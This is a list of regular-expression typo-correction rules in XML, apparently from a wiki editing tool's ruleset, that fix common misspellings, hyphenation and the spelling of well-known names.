<Typo word="Synthesi(s/z)e" find="\b([sS])[iy](?:nth?|th)(?<!ynth)esi([sz](?:e(?:[ds]?|rs?)|ing)|s)\b" replace="$1ynthesi$2"/><!--neg lookbehind removable-->
<Typo word="Wide range" find="\bwide-range(?= of\b)" replace="wide range"/>
<Typo word="In the" find="\b([iI])(?:[iI]n\s+the|nt\she)\b" replace="$1n the"/>
<Typo word="(North/South/East/West)ernmost" find="\b([eE]ast|[nN]orth|[sS]outh|[wW]est)er(?:n[−―–—\s])?most(?=\s(?:district|end|of|p(?:art|o(?:int|rtion))|tip)\b)" replace="$1ernmost"/>
<Typo word="Northernmost" find="\bNor(?<=\b[tT]he Nor)thernmost\b" replace="northernmost"/>
<Typo word="Southernmost" find="\bSou(?<=\b[tT]he Sou)thernmost\b" replace="southernmost"/>
<Typo word="Easternmost" find="\bEas(?<=\b[tT]he Eas)ternmost\b" replace="easternmost"/>
<Typo word="Westernmost" find="\bWes(?<=\b[tT]he Wes)ternmost\b" replace="westernmost"/>
<Typo word="Select" find="\b([sS])(?:el|le)ct(able|ed|i(?:ng|ons?|ve(?:ly)?)|men|ors?|s?)\b" replace="$1elect$2"/>
<Typo word="Stair-" find="\b([sS])tair[−―–—\s](cases?|steps?|w(?:ays?|ells?))\b" replace="$1tair$2"/>
<Typo word="Unbeknownst" find="\b([uU])nbe(?:know|nown?)st\b" replace="$1nbeknownst"/>
<Typo word="Suspense" find="\b([sS])u(?:ps?|sp)en[st](?<!uspens)(e|i(?:ons?|ve)|ory)\b" replace="$1uspens$2"/><!--neg lookbehind removable-->
<Typo word="Phospho-" find="\b([pP])ho(?!spohor\b)(?:pho|spoh?o?)(?!n[iy])([a-z]+)\b" replace="$1hospho$2"/>
<Typo word="Acknowledge" find="\b([aA])c?kn?o(?:lw?|wl?)e?(?:d(?:eg|g?)|gd?)(?<!cknowledg)(able|e(?:able|[ds]?|ments?)|ing|ments?)\b" replace="$1cknowledg$2"/><!--neg lookbehind removable-->
<Typo word="Collision" find="\b([cC])ol+i?s+i?on(?<!collision|Col(?:lisi?on|son))(s)?\b" replace="$1ollision$2"/><!--neg lookbehind removable-->
<Typo word="Declare" find="\b([dD])e(?:cl?|lc?)[ae](?<!ecla)r(ations?|e[ds]?|ing)(?<!ecares?)\b" replace="$1eclar$2"/>
<Typo word="Approach" find="\b([aA])p(?:or(?:ao?|oa?)|p(?:o(?:a|r(?:ao?|oa?))|r(?:ao?|oa?))|r(?:ao?|oa?))ch(?<!pproach)(e[ds]|ing)?\b" replace="$1pproach$2"/><!--avoid "Approaches"-->
<Typo word="Giuseppe" find="\b[gG]uiseppe\s+(Anselmi|Garibaldi|Peano|Tartini|Verdi)\b" replace="Giuseppe $1"/>
<Typo word="Fulbright" find="\bFullbright\s+([pP]rograms?|[sS]cholar(?:s(?:hips?)?)?)\b" replace="Fulbright $1"/>
<Typo word="Counter-" find="\bcounter[−―–—\s](attack(?:ed|ing|s?)|p(?:arts?|oints?))(?<!counter(-|–)attac[a-z]{1,99})\b" replace="counter$1"/><!---Avoid counter-attack with two dash versions-->
<Typo word="Reflect" find="\b([rR])efele?ct(?!oq)([a-z]*)\b" replace="$1eflect$2"/>
<Typo word="Technology" find="\b([tT])ech(?:n(?:alo|ol)|o(?:lo|no?lo?))g(i(?:es|c(?:al(?:ly)?)?|s[mt]s?|zed?)|y)\b" replace="$1echnolog$2"/>
<Typo word="Synonym" find="\b([sS])yno[mn]+[aioy][mn]+(?<!ynonym)([a-z]*)(?<!ynomones?)\b" replace="$1ynonym$2"/>
<Typo word="Business" find="\b([bB])ui?s+i?n+i?e+s+([a-z]{0,99})(?<!Busnes|usiness[a-z]{0,99})\b" replace="$1usiness$2"/><!--Fuzzy rule, extends & completely replaces existing rule of the same name-->
<Typo word="Subsidiary" find="\b([sS])ubi?si?a?d[aeiu]+(?:ra)?r(?<!bsidiar)(i(?:es|ty)|y)\b" replace="$1ubsidiar$2"/><!--extends & completely replaces "Subsidiary"-->
<Typo word="Inaugurate" find="\b([iI])n+a[aeiou]?g+[aeiou]?[aeiou]?r+[eiou]?(?<![iI]naugur)a(l|t(?:e[ds]?|i(?:ng|ons?)))\b" replace="$1naugura$2"/><!--Fuzzy rule, extends & completely replaces existing rule of the same name-->
<Typo word="Interview" find="\b([iI])n(?:er|t(?:er?|r))(?:iew|v(?:ew|ie?w))(?<!nterview)(e(?:d|[er]s?)|ing|s?)\b" replace="$1nterview$2"/>
<Typo word="(Un)Successful" find="\b([sS]|[uU]ns)u+c+e+s+[aeiou]?f?f?u+(l+)(?<![sS]uccessful{1,9})(y)?\b" replace="$1uccessfu$2$3"/><!--Fuzzy rule, extends & completely replaces existing rule "(Un)Successful"-->
<Typo word="Research" find="\b([rR])ea?s(?:a(?:[aeiu]r[aeiou]?ch?|r[aeiou]?ch?)|e(?:a(?:ch|r[aeiou]?ch?)|[eiu]r[aeiou]?ch?|r[aeiou]?ch?)|i(?:[aeiu]r[aeiou]?ch?|r[aeiou]?ch?)|r[aeiou]?ch?|u(?:[aeiu]r[aeiou]?ch?|r[aeiou]?ch?))(?<![rR]es(?:earch|ura?c))(e(?:[ds]|rs?)|ing)?\b" replace="$1esearch$2"/><!--Fuzzy rule, extends & completely replaces existing rule "Research"-->
<Typo word="(Dis/Re)Organi(s/z)ation" find="\b([dD]iso|[oO]|[rR]eo)r[aeiou]?g[aeiou]?[aeiou]?n[aeiou]?[aeiou]?([sz])[aeiou]?[aeiou]?ti?(?<!rgani[sz]ati)on(al(?:ly)?|s?)\b" replace="$1rgani$2ation$3"/><!--Fuzzy rule, extends & completely replaces existing rule "Organization"-->
<Typo word="so-called_" find="\bso\scalled\b(?<=\b(?:[aA]|by|[hH](?:er|is)|of|[tT]he(?:ir|se)?|[tT]his)\sso\scalled)" replace="so-called"/><!--avoid variants of "it is so called because"-->
<Typo word="(At/Con/Dis/Re(dis))Tribute" find="\b([aA]tt|[cC]ont|[dD]ist|[rR]edist|[tT])t?(?:ribu(e[ds]|i(?:ng|on))\b|(?:[aeiou]?r(?:[iu]+)?b(?:[aeiu]+)?t(?<!arbat|[tT]ribut)|ritut)([a-z]+)\b(?<!Attribates|b(?:at(?:a(?:lis|ria|s?)|e(?:jamae|lla)?|i(?:a?|on)|or?|rix|u[ms])|et(?:ek|isonios|sk[iy]?s?|t(?:ite)?)|it(?:an?|[ho]|kan|t(?:ite)?)|ott(?:ite)?|u(?:atur|it[aeiou](?:gli(?:de)?|le|r?)|t(?:aline|h(?:ylazine)?|it|r[oy]n|t(?:ite?|s?))|utti))|conturbat(?:ed|um)|disturbator[ey]|k(?:aya|o[iy]s?)|T(?:arb(?:butt(?:on)?|et[hs]|i(?:at(?:e|ul)|t[sz]a?))|er(?:b(?:a(?:atar|tas)|itlah)|ibithia|ubetaake)|or(?:b(?:at(?:eheydarieh|[io]|ross)|i(?:at[io]|tch)|ut(?:rol|ton))|iibata)|r(?:ib(?:at(?:e|io)|et(?:ek|o(?:n|on|y)|t)|itch)|ub(?:at(?:a|ch(?:ov)?|sa)|e(?:ats|t(?:a|chin(?:o|sky)|sk(?:a|o(?:go|j))|zin))|it(?:s[iy]na?|t)|t(?:ensee|hob)|ute))|urb(?:at(?:a|hi|[iu]|or?|r(?:ix|oss))|et(?:li|ts?)|it(?:een|ity)|utt))|t(?:ax|rubed)|urbitt?s?))(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="$1ribut$2$3"/><!--avoid domains & URLs-->
<Typo word="Individual* (1)" find="\b([iI])n[aeiou]?d[aeiou]?[aeiou]?v[aeiou]?[aeiou]?d?[aeiou]?[dl]?[aeiou]?[aeiou]?l(?<!nd(?:avl|evel))(?!e[s\b]|l(?:e|os))[aeou]?(?<!ndividu[ae]l)([a-z-\´ˈ׳᾿’′Ꞌꞌ`']{0,99})" replace="$1ndividual$2"/><!--Fuzzy rule to supplement existing "Individual" rule-->
<Typo word="Self-" find="\b([sS])elf\s+(?<=\s[sS]elf\s{1,9})\b([sS])elf\s+(?<=\s[sS]elf\s{1,9})\b(a(?:b(?:a(?:ndon(?:ed|ment)?|se(?:ed|ment)?)|negati(?:ng|on)|sor(?:bed|ption)|use)|c(?:cusat(?:ion|ory)|t(?:i(?:ng|v(?:ating|ity))|uali[sz](?:ation|e[ds]?)))|d(?:dressed|hesive|just(?:ing|ment)|mi(?:nist(?:er(?:ed|ing|s?)|ration)|r(?:ation|er|ing))|v(?:ancement|erti(?:ng|se(?:ment|r))|ocacy))|ffirmation|ggrandi[sz](?:ement|ing)|li(?:enation|gning)|n(?:aly(?:si(?:ng|s)|zing)|nihilation)|pp(?:ointed|ro(?:bation|v(?:al|ing(?:ly)?)))|ss(?:e(?:mbl[ey]|rti(?:ng|on|ve(?:ness)?)|ssment)|ur(?:ance|ed(?:ly)?))|ware(?:ness)?)|b(?:alancing|etrayal|uild(?:er)?)|c(?:a(?:ncell?ing|tering)|e(?:n(?:sorship|te?red(?:ly|ness)?)|rtif(?:icat(?:e|ion)|y))|l(?:eaning|osing)|o(?:cking|lou?red|m(?:mand|patible)|n(?:ce(?:it(?:ed)?|pt)|demn(?:ation|ed|ing)|f(?:ess(?:ed(?:ly)?|ion(?:al)?)|iden(?:ce|t(?:ly)?))|gratulat(?:ion|ory)|s(?:cious(?:ly|ness)?|isten(?:cy|t(?:ly)?))|t(?:ain(?:ed|ment)|empt(?:uous)?|r(?:adict(?:i(?:ng|on)|ory)|ol(?:led)?)))|rrect(?:i(?:ng|on)|s?))|r(?:eat(?:ed|i(?:ng|on))|itic(?:al|ism)))|d(?:e(?:ce(?:i(?:t|v(?:er|ing))|pti(?:on|ve))|f(?:e(?:ating|n[cs](?:e|ive))|inition)|l(?:ight|usion)|n(?:ial|ying)|p(?:enden(?:ce|t)|reci?at(?:i(?:ng(?:ly)?|on)|ory))|s(?:pair|tr(?:oying|uct(?:i(?:on|ve(?:ly)?)|s?)))|termination|v(?:elopment|otion))|i(?:agnose|ffusion|rect(?:ed|i(?:ng|on))|s(?:c(?:iplined?|overy)|gust))|oubt|r(?:amati[sz]ation|ive))|e(?:ducat(?:ed|ion)|ffac(?:ement|ing(?:ly)?)|mploy(?:ed|ment)|nclosed|steem|v(?:aluation|iden(?:ce|t(?:ly)?))|x(?:amination|cited|ecuting|istent|p(?:lanatory|ressi(?:on|ve))))|f(?:aced|e(?:ed(?:er|ing)|rtil(?:e|i(?:sation|ty|z(?:ation|ed|ing))))|inanc(?:ed|ing)|la(?:gellation|tter(?:ing|y))|orgetful(?:ness)?|ulfil(?:l(?:ing|ment)|ment))|g(?:enerating|lorification|overn(?:ed|ing|ment)|ravitation|uided)|h(?:a(?:at(?:e|red)|rm(?:er)?)|elp)|i(?:denti(?:fication|ty)|m(?:age|molation|p(?:o(?:rtan(?:ce|t(?:ly)?)|sed)|rovement))|n(?:compatib(?:ility|le)|du(?:c(?:ed|t(?:ance|i(?:on|ve)))|lgen(?:ce|t(?:ly)?))|flicted|surance|terest(?:ed)?|volve(?:d|ment)))|justif(?:icat(?:ion|ory)|ying)|know(?:ing|ledge)|l(?:i(?:miting|quidating)|o(?:a(?:d(?:er|ing)|thing)|cking|v(?:e|ing)))|zzNotzzmadezz|m(?:a(?:nag(?:ement|ing)|stery)|edicat(?:e[ds]?|ion)|o(?:ck(?:ery|ing(?:ly)?)|rtification|ti(?:on|vat(?:ed|i(?:ng|on)))|ving)|u(?:rder(?:er)?|tilation))|neglect|o(?:bse(?:rvation|ss(?:ed|ion))|pinion(?:ated)?)|p(?:arod(?:ic|y(?:ing)?)|erpetuati(?:ng|on)|ity(?:ing(?:ly)?)?|o(?:l(?:icing|linat(?:ed|i(?:ng|on)|or))|rtrait(?:s?|ure)|ssess(?:ed|ion))|r(?:aise|eservation|o(?:claimed|duced|mot(?:er|i(?:ng|on))|p(?:agat(?:es?|i(?:ng|on))|ell(?:ed|ing))|tecti(?:on|ve)|ving))|ublish(?:e[drs])?)|r(?:a(?:ising\sflour|ting)|e(?:ali[sz]ation|corded|f(?:eren(?:ce|tial(?:ity|ly)?)|le(?:cti(?:on|ve)|xive))|g(?:ard(?:ing)?|ulat(?:i(?:ng|on)|ory))|l(?:eas(?:ed?|ing)|ian(?:ce|t(?:ly)?))|n(?:ew(?:al|ing)|unciation)|p(?:ort|roach(?:ful)?)|s(?:pect(?:ing)?|train(?:ed|t))|ve(?:aling|lat(?:ion|ory)))|i(?:sing\sflour|ght(?:eous(?:ly|ness)?|ing))|ule)|sa(?:crific(?:e|i(?:al|ng))|tisf(?:action|ied))|se(?:aling|e[dk](?:er|ing)?|lect(?:i(?:ng|on)|s?)|rvi(?:ce|ng))|s(?:hifter|imilar(?:ity)?|laughter|own?|t(?:art(?:er|ing)?|eril(?:e|ity)|i(?:ck|mulation)|orage|yled)|u(?:bsistent|fficien(?:cy|t(?:ly)?)|ggestion|pport(?:ing)?|rrender|tain(?:ed|ing))|ystem)|t(?:a(?:iling|nn(?:er|ing)|pping|ught)|i(?:mer|tled)|orture|ra(?:cking|nscendence))|understanding|zzNotzzwillzz|w(?:i(?:lled|nding)|orth))\b(?!-)" replace="$1elf-$2"/>
<Typo word="Each other's" find="\beach\s+others[´ˈ׳᾿‘’′Ꞌꞌ`']? " replace="each other's "/>
<Typo word="Owing to" find="\b([oO])wning\s+to\b" replace="$1wing to"/>
<Typo word="Piraeus" find="\bPire(?:au?|u)s\b" replace="Piraeus"/>
<Typo word="Rio de Janeiro" find="\b[rR]([ií])o\s+[dD]e\s+[jJ]ane?i?e?ro?\b(?<!R[ií]o de Janeiro)" replace="R$1o de Janeiro"/>
<Typo word="(In|Re)volve_" find="\b([iI]n|[rR]e)vovlv?(e(?:[ds]?|ments?)|ing|rs?)\b" replace="$1volv$2"/>
<Typo word="Spokes-" find="\b([sS])poke(m[ae]n|pe(?:ople|rsons?)|wom[ae]n)\b" replace="$1pokes$2"/>
<Typo word="King Philip's War" find="\bKing Phil(?:lip[´ˈ׳᾿‘’′Ꞌꞌ`;']?s [wW]|ip(?:[´ˈ׳᾿‘’′Ꞌꞌ`;]s [wW]|'s w|s [wW]))ar\b" replace="King Philip's War"/>
<Typo word="(Life/Death/Child/Lady/Father)like" find="\b([cC]hild|[dD]eath|[fF]ather|[lL](?:ady|ife))-like\b" replace="$1like"/><!--but many -like suffixes keep the hyphen-->
<Typo word="Decade apostrophe" find="\b(1\d\d0|20\d0)[´ˈ׳᾿‘’′Ꞌꞌ`']s(?<=\b(?:[aA]n?|[oO]n|[tT]he)\s{1,9}(?:earl(?:ier|y)|later?|mid(?:dle)?)?[−―–—\s]{0,9}(?:1\d|20)\d0[´ˈ׳᾿‘’′Ꞌꞌ`']s)" replace="$1s"/>
<Typo word="Rebirth/reborn" find="\b([rR])e-b(irth|orn)\b" replace="$1eb$2"/>
<Typo word="Restart_" find="\b([rR])e-start(ed|ing|s?)\b" replace="$1estart$2"/>
<Typo word="(Full/Part)-time" find="\b([fF]ull|[pP]art)\s?time\b(?![−―–—\s]limit)(?<!at full time)" replace="$1-time"/><!--avoid "at full time" in association football articles-->
<Typo word="UNICEF" find="\bUnicef\b(?<!Sterntale-Unicef)(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="UNICEF"/><!--avoid domains & URLs-->
<Typo word="Overarching" find="\b([oO])ver-arching\b" replace="$1verarching"/>
<Typo word="Agency" find="\b([aA])geng(ies|y)\b" replace="$1genc$2"/>
<Typo word="Adapted/ing" find="\b([aA])dapat(ed|ing)\b" replace="$1dapt$2"/>
<Typo word="Approximately (expansion)" find="\bapprox(?<=located approx|situated approx)\.?(?=\s)" replace="approximately"/><!--unlikely to be in small spaces-->
<Typo word="Approx." find="\b([aA])p(?:p[or]|ro)x\.?(?=[ \)\n])" replace="$1pprox."/>
<Typo word="Flixster" find="\bFlixter\b" replace="Flixster"/>
<Typo word="Elegiac" find="\b([eE])ll?egaic\b" replace="$1legiac"/>
<Typo word=" ," find="\s+,(?<=[A-Za-z\d\)]\s+,)\s?" replace=", "/><!--change space before comma to space after comma, for eventual move to punctuation section-->
<Typo word=",," find="\s?,\s?\s?,\s?" replace=", "/><!--fixes double commas-->
<Typo word="n00" find="\b(\d\d?)00[−―–—\s][hH]undred(s)?(?!\seuro|euro)\b" replace="${1}00$2"/><!--fix "400 hundred men", "in the 1600 hundreds"-->
<Typo word="Wrongdoing" find="\b([wW])rong[−―–—\s]doing(s)?\b" replace="$1rongdoing$2"/>
<Typo word="Carriage" find="\b([cC])arr?age(es?|s?|[wW](?:ays?|orks?))\b" replace="$1arriage$2"/>
<Typo word="Arch(a)eology" find="\b([aA])rche?(a)?[elo]{1,6}go?(?<![aA]rcholog|ha?eolog)(y|i(?:cal(?:ly)?|sts?))\b" replace="$1rch$2eolog$3"/><!--avoid self & archology-->
<Typo word="Psychiatry" find="\b([pP])s[iy]ch?(?:ai?|i)tr([a-z]*)\b(?<!Psycatron)" replace="$1sychiatr$2"/><!--Not Psycatron-->
<Typo word="Fare(s) well" find="\bfair(s)? (better|poorly|so well|well)\b" replace="fare$1 $2"/>
<Typo word="Far(ed|ing) well" find="\bfair(ed|ing)\s+(as well|better|poorly|so well|well)\b" replace="far$1 $2"/>
<Typo word="Umayyad" find="\b(?:Omm?ayy?[aei]|Um(?:ay(?:[aei]|y[ei])|mayy?[aei]))d(s)?\b(?<!Jabal [´ˈ׳᾿‘’′Ꞌꞌ`;']?Umayyid)" replace="Umayyad$1"/>
<Typo word="Frostbite" find="\b([fF])rost[−―–—\s]bit(e|ten)\b" replace="$1rostbit$2"/>
<Typo word="game-winning" find="\bgame\s+winning\s+(goal|h(?:it|ome)|move|play)\b" replace="game-winning $1"/>
<Typo word="walk-off" find="\bwalkoff\b" replace="walk-off"/>
<Typo word="On board" find="\b([oO])n-?board(?<!-onboard)(?= (?:a[nst]?|ll|for|in|ship|t(?:h(?:at|ese|e)|o)|w(?:hen|ith|ere))\b|[,\.;:])" replace="$1n board"/><!--see talk page 23 July 2012-->
<Typo word="High-ranking officials" find="\b([hH])igh(?<![vV]ery high)(e(?:r|st))? rank(ed|ing)\s+(m(?:embers?|ilitary)|offic(?:ers?|ials?))\b" replace="$1igh$2-rank$3 $4"/>
<Typo word="Skyrocket" find="\b([sS])ky[−―–—\s]rocket(ed|ing)\b" replace="$1kyrocket$2"/>
<Typo word="Grief-stricken" find="\b([gG])rief stricken\b" replace="$1rief-stricken"/>
<Typo word="Liv Ullmann" find="\bLiv\s+Ull?man\b" replace="Liv Ullmann"/>
<Typo word="Overdevelopment" find="\b([oO])ver-develop(ed|ment)\b" replace="$1verdevelop$2"/><!--avoid 'under-development'-->
<Typo word="War of Jenkins' Ear" find="\bWar of [jJ]enkin(?:[´ˈ׳᾿‘’′Ꞌꞌ`']s|s[´ˈ׳᾿‘’′Ꞌꞌ`']?) Ear\b" replace="War of Jenkins' Ear"/>
<Typo word="Spearhead" find="\b([sS])pear[−―–—\s]head(ed|ing)\b" replace="$1pearhead$2"/><!--but 'spear head' might be a noun-->
<Typo word="(Pre/Re/Un)Format" find="\b([fF]|[pP]ref|[rR]ef|[uU]nf)omat(?!\s[mM]artin|[mM]artin)(t?(?:a(?:ble|nks?)|e(?:d?|rs?)|i(?:ngs?|on(?:als?|[s\b])|v(?:e(?:ly|s?)|ity))|k(?:ii|y)|or(?:ies|y)|s(?:k(?:ii|y))?))?" replace="$1ormat$2"/><!--avoid MŠK Fomat Martin-->
<Typo word="(Working/upper/middle/lower)-class" find="\b([lL]ower|[mM]iddle|[uU]pper|[wW]orking)\s+[cC]lass\s+(b(?:ackground|oy)s?|famil(?:ies|y)|girls?|ho(?:mes?|uses?)|neighbou?rhoods?|p(?:arents|eople)|roots|(wo)?m[ae]n)\b" replace="$1-class $2"/>
<Typo word="(Upper/lower)-middle-class" find="\b([lL]ow|[uU]pp)er\s+middle-class\s+(backgrounds?|famil(?:ies|y)|ho(?:mes?|uses?)|neighbou?rhoods?|people|(wo)?m[ae]n)\b" replace="$1er-middle-class $2"/>
<Typo word="Postscript" find="\b([pP])ostcript\b" replace="$1ostscript"/>
<Typo word="Counterbalance" find="\b([cC])ounter[−―–—\s]balanc(e[ds]?|ing)\b" replace="$1ounterbalanc$2"/>
<Typo word="Outside" find="\b([oO])utisde\b" replace="$1utside"/>
<Typo word="Anjelica Huston" find="\bAn(?:gelica Ho?|jelica Ho)uston\b" replace="Anjelica Huston"/>
<Typo word="Sam Elliott" find="\bSam Elliot\b" replace="Sam Elliott"/>
<Typo word="Gregg Allman" find="\bGreg Allman\b" replace="Gregg Allman"/>
<Typo word="Kirsty MacColl" find="\bKirsty M(?:acc|c[cC]?)oll\b" replace="Kirsty MacColl"/>
<Typo word="Shane MacGowan" find="\bShane M(?:acg|c[gG])owan\b" replace="Shane MacGowan"/>
<Typo word="Ramsay MacDonald" find="\bRams(?:ay M(?:acdonald|c[dD]onald)|ey M(?:acdonald|c[dD]onald)|ey MacDonald)\b" replace="Ramsay MacDonald"/>
<Typo word="Jean-Claude Van Damme" find="\bJean(?: Claude [vV]|-Claude v)an Damme\b" replace="Jean-Claude Van Damme"/>
<Typo word="Midsection" find="\b([mM])id[−―–—\s]section(s)?\b(?![^\s\.]*\.\w)" replace="$1idsection$2"/><!--avoid domains-->
<Typo word="Lifelong" find="\b([lL])ife[−―–—\s]long(?!(?:evity|\s?\-?(?:a(?:fter|go\b)|before|gone|lived|since)))\b(?![^\s\.]*\.\w)" replace="$1ifelong"/><!--avoid domains-->
<Typo word="Disease" find="\b([dD])iesease([ds])?\b" replace="$1isease$2"/>
<Typo word="de' Medici" find="\b(C(?:atherine|osimo)|Lorenzo|Marie) de(?:[´ˈ׳᾿‘’′Ꞌꞌ`]\s?|[ '])Medici\b" replace="$1 de' Medici"/>
<Typo word="Fireplace" find="\b([fF])ire[−―–—\s]place(s)?\b" replace="$1ireplace$2"/>
<Typo word="Midpoint" find="\b([mM])id[−―–—\s]point(s)?\b" replace="$1idpoint$2"/>
<Typo word="Johnny Hallyday" find="\bJohnny Halliday\b" replace="Johnny Hallyday"/>
<Typo word="Buttress" find="\b([bB])utress(e[ds]|ing)?\b" replace="$1uttress$2"/>
<Typo word="Birthplace" find="\b([bB])irth[−―–—\s]place\b" replace="$1irthplace"/>
<Typo word="Atlanta Journal-Constitution" find="\bAtlanta(?:-Journal(?: and |[ -])| Journal(?: and)? )Constitution\b" replace="Atlanta Journal-Constitution"/>
<Typo word="GeoCities" find="\b[gG]eocit(?<!\S[gG]eocit)(?:e|ie?)s(\S\s|\s)" replace="GeoCities$1"/>
<Typo word="Governed" find="\b([gG])overen(ed|ing|ment|ors?|s)\b" replace="$1overn$2"/>
<Typo word="Phillip ..." find="\b[pP]hilip (Noyce|Schofield|Whitehead)\b" replace="Phillip $1"/>
<Typo word="Edmund Hillary" find="\bEdmund Hilary\b" replace="Edmund Hillary"/>
<Typo word="Hilary" find="\bHillary\s+(Duff|Swank)\b" replace="Hilary $1"/>
<Typo word="Merge(d/s/ing)" find="\b([mM])erg(e[ds]?|ing) together\b" replace="$1erg$2"/>
<Typo word="Uilleann pipes" find="\b([uU])il(?:eann?\s+[pP]|lean(?:n\s+P|\s+[pP]))ipes\b" replace="$1illeann pipes"/>
<Typo word="Purported" find="\b([pP])roport(ed(?:ly)?|ing|s)\b" replace="$1urport$2"/><!--avoid Proport (a business term)-->
<Typo word="B'nai B'rith" find="\bB(?:[´ˈ׳᾿‘’′Ꞌꞌ`][nN]ai\s+B[´ˈ׳᾿‘’′Ꞌꞌ`']?|[´ˈ׳᾿‘’′Ꞌꞌ`']Nai\s+B[´ˈ׳᾿‘’′Ꞌꞌ`']?|[´ˈ׳᾿‘’′Ꞌꞌ`']nai\s+B[´ˈ׳᾿‘’′Ꞌꞌ`']?|[nN]ai\s+B[´ˈ׳᾿‘’′Ꞌꞌ`']?)rith\b" replace="B'nai B'rith"/>
<Typo word="MacMillan" find="\b(James|Kenneth) [mM]acmillan\b" replace="$1 MacMillan"/>
<Typo word="Harold Macmillan" find="\b[hH]arold MacMillan\b" replace="Harold Macmillan"/>
<Typo word="Rodgers and" find="\bRogers (?:and|&) Ha(mmerstein|rt)\b" replace="Rodgers and Ha$1"/>
<Typo word="Frank De Vol" find="\bFrank\s+(?:de\s?[vV]|De(?:[vV]|\s+v))ol\b" replace="Frank De Vol"/>
<Typo word="Gene de Paul" find="\bGene\s+(?:De\s?[pP]|de(?:[pP]|\s+p))aul\b" replace="Gene de Paul"/>
<Typo word="Frederick Law Olmsted" find="\b[fF]rederick [lL]aw [oO]lmstead\b" replace="Frederick Law Olmsted"/>
<Typo word="Shelley Winters" find="\b[sS]helly [wW]inters\b" replace="Shelley Winters"/>
<Typo word="Humphrey Lyttelton" find="\b[hH]umphrey [lL]yttleton\b" replace="Humphrey Lyttelton"/>
<Typo word="Erroll Garner" find="\b[eE]rrol [gG]arner\b" replace="Erroll Garner"/>
<Typo word="Benny Andersson" find="\b[bB]enny [aA]nderson\b" replace="Benny Andersson"/>
<Typo word="Björn Ulvaeus" find="\b[bB]jorn [uU]lvaeus\b" replace="Björn Ulvaeus"/>
<Typo word="Glenn Miller" find="\b[gG]len [mM]iller\b" replace="Glenn Miller"/>
<Typo word="Bryan Ferry" find="\b[bB]rian [fF]erry\b" replace="Bryan Ferry"/>
<Typo word="Hans Christian Andersen" find="\b[hH]ans? [cC]hristian [aA]nders[eio]n\b" replace="Hans Christian Andersen"/>
<Typo word="Walter de la Mare" find="\b[wW]alter (?:De\s?[lL]|de\s?L)a\s?[mM]are\b" replace="Walter de la Mare"/>
<Typo word="Lloyd's of London" find="\b[lL]loyd[´ˈ׳᾿‘’′Ꞌꞌ`;]?s of [lL]ondon\b" replace="Lloyd's of London"/>
<Typo word="TransPennine Express" find="\b[tT]ranspennine [eE]xpress\b" replace="TransPennine Express"/>
<Typo word="King's Lynn" find="\bKing[´ˈ׳᾿‘’′Ꞌꞌ`;]?s Lynn\b" replace="King's Lynn"/>
<Typo word="Poets' Corner" find="\bPoet(?:[´ˈ׳᾿‘’′Ꞌꞌ`']s[´ˈ׳᾿‘’′Ꞌꞌ`']?|s[´ˈ׳᾿‘’′Ꞌꞌ`]?) Corner\b" replace="Poets' Corner"/>
<Typo word="Leonardo da Vinci" find="\bLeonardo\s+(?:D[ae]\s?[vV]|d(?:a(?:[vV]| v)|e [vV]))inci\b" replace="Leonardo da Vinci"/>
<Typo disabled="well received" find="\b([wW])ell-received\b(?=\.| (?:by\b|in\b)| at\b)" replace="$1ell received"/><!--disabled: context-specific-->
<Typo word="Apostles' Creed" find="\bApostle(?:[´ˈ׳᾿‘’′Ꞌꞌ`']s[´ˈ׳᾿‘’′Ꞌꞌ`']?|s[´ˈ׳᾿‘’′Ꞌꞌ`]?) Creed\b" replace="Apostles' Creed"/>
<Typo word="Peasants' Revolt" find="\bPeasant(?:[´ˈ׳᾿‘’′Ꞌꞌ`']s[´ˈ׳᾿‘’′Ꞌꞌ`']?|s[´ˈ׳᾿‘’′Ꞌꞌ`]?) Revolt\b" replace="Peasants' Revolt"/>
<Typo word="Years' War" find="\b(Nine|S(?:even|ixty)|T(?:en|hirt(?:een|y))|Eighty|Hundred) (?:year[´ˈ׳᾿‘’′Ꞌꞌ`;']?s[´ˈ׳᾿‘’′Ꞌꞌ`']? [wW]|Year(?:[´ˈ׳᾿‘’′Ꞌꞌ`']s[´ˈ׳᾿‘’′Ꞌꞌ`']? [wW]|s(?:[´ˈ׳᾿‘’′Ꞌꞌ`] [wW]|' w| [wW])))ar\b" replace="$1 Years' War"/>
<Typo word="sneak peek" find="\b([sS])neak\s+peak\b" replace="$1neak peek"/>
<Typo word="Twitter" find="\btwitter(?=\s+(?:accounts?|feeds?|hashtags?|p(?:ages?|rofiles?)|sites?|that)\b)" replace="Twitter"/>
<Typo word="Prize" find="\bP(eace|ulitzer)\s[pP]rice\b" replace="P$1 Prize"/><!--avoid Sesame Street character Dr. Nobel Price-->
<Typo word="Volume" find="\b([vV])olum?ne(s)?\b(?![^\s\.]*\.\w)" replace="$1olume$2"/><!--avoid domains-->
<Typo word="Scarlett Johansson" find="\bScarlet(?:t\s+Johan(?:nss?[eo]|s(?:[eo]|se))|\s+Johann?ss?[eo])n\b" replace="Scarlett Johansson"/>
<Typo word="Terence Stamp" find="\bTerrence\s+Stamp\b" replace="Terence Stamp"/>
<Typo word="Wavelength(s)" find="\b([wW])ave[−―–—\s]+length(s)?\b" replace="$1avelength$2"/>
<Typo word="Stoke-on-Trent" find="\bStoke(?:\s+[oO]n[−―–—\s]|-(?:On[−―–—\s]|on\s+))Trent\b" replace="Stoke-on-Trent"/>
<Typo word="Dom DeLuise" find="\b[dD]om\s+(?:de\s?[lL]|De(?:l|\s[lL]))o?uise\b" replace="Dom DeLuise"/>
<Typo word="Cecil B. DeMille" find="\bCecil B\.\s+(?:de\s?[mM]|De(?:m|\s+[mM]))ille\b" replace="Cecil B. DeMille"/>
<Typo word="Ellen DeGeneres" find="\b[eE]llen\s+[dD][ei]\s?gener[ei]s\b" replace="Ellen DeGeneres"/>
<Typo word="Leonardo DiCaprio" find="\bLeonardo\s+(?:d[ei]\s?[cC]|D(?:e\s?[cC]|i(?:c|\s+[cC])))aprio\b" replace="Leonardo DiCaprio"/>
<Typo word="Robert De Niro" find="\bRobert\s+(?:de\s?[nN]|De(?:[nN]|\s+n))iro\b" replace="Robert De Niro"/>
<Typo word="Danny DeVito" find="\bDanny\s+(?:de\s?[vV]|De(?:v|\s+[vV]))ito\b" replace="Danny DeVito"/>
